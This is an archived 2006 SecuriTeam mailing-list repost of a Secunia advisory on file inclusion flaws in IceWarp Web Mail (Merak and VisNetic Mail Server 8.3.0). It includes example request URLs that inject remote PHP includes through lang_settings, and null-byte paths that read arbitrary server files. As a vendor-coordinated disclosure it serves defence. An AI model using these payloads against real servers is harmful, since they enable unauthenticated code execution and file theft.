

[UNIX] IceWarp Web Mail Multiple File Inclusion Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00008.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 3 Jan 2006 10:10:15 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

IceWarp Web Mail Multiple File Inclusion Vulnerabilities

SUMMARY

<http://www.icewarp.com/Products/IceWarp_Web_Mail/> IceWarp universal webmail is "a web based interface for users to send and read email messages using any 3rd party mail server". Several vulnerabilities in IceWarp allow attackers to run arbitrary PHP commands and read arbitrary files on a vulnerable server.

DETAILS

Vulnerable Systems:

- * Merak Mail Server version 8.3.0.r.
- * VisNetic Mail Server version 8.3.0 build 1.
- * Other versions may also be affected.

Immune Systems:

- * Merak Mail Server version 8.3.5.r.
- * VisNetic Mail Server version 8.3.5.

Secunia Research has discovered some vulnerabilities in IceWarp Web Mail, which can be exploited by malicious users and by malicious people to

[UNIX] IceWarp Web Mail Multiple File Inclusion Vulnerabilities

disclose potentially sensitive information and to compromise a vulnerable system.

Arbitrary File Inclusion in lang_settings Parameter:

The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialized when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:

```
http://[host]:32000/accounts/inc/include.php?language=0  
&lang_settings[0][1]=http://[host]/  
http://[host]:32000/admin/inc/include.php?language=0  
&lang_settings[0][1]=http://[host]/
```

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

Arbitrary File Inclusion in lang Parameter:

Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbitrary files from local sources.

Example:

```
http://[host]:32000/dir/include.html?lang=[file]%00
```

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Arbitrary PHP Command Execution in lang_settings Parameter:

3) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:

```
http://[host]:32000/mail/settings.html?id=[current_id]  
&Save_x=1&language=TEST  
http://[host]:32000/mail/index.html?id=[current_id]  
&lang_settings[TEST]=test;http://[host]/;
```

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

Local File Disclosure:

4) The "default_layout" and "layout_settings" variables are not properly initialized when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognize. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to

[UNIX] IceWarp Web Mail Multiple File Inclusion Vulnerabilities

disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):

[http://\[host\]:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings\[OUTLOOK2003\]=test;\[file\]%00;2](http://[host]:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2)

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Disclosure Timeline:

07/12/2005 – Initial vendor notification

07/12/2005 – Initial vendor reply

27/12/2005 – Public disclosure

ADDITIONAL INFORMATION

The information has been provided by <<mailto:vuln@xxxxxxxxxxxx>> Secunia Research.

The original article can be found at:

<http://secunia.com/secunia_research/2005-62/advisory/>

http://secunia.com/secunia_research/2005-62/advisory/

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [***\[EXPL\] SCO Openserver termsh Privileges Escalation \(Exploit\)***](#)
 - Next by Date: [***\[REVS\] AIX Introduction to Heap Overflows***](#)
 - Previous by thread: [***\[EXPL\] SCO Openserver termsh Privileges Escalation \(Exploit\)***](#)
 - Next by thread: [***\[REVS\] AIX Introduction to Heap Overflows***](#)
 - Index(es):
 - ◆ [***Date***](#)
 - ◆ [***Thread***](#)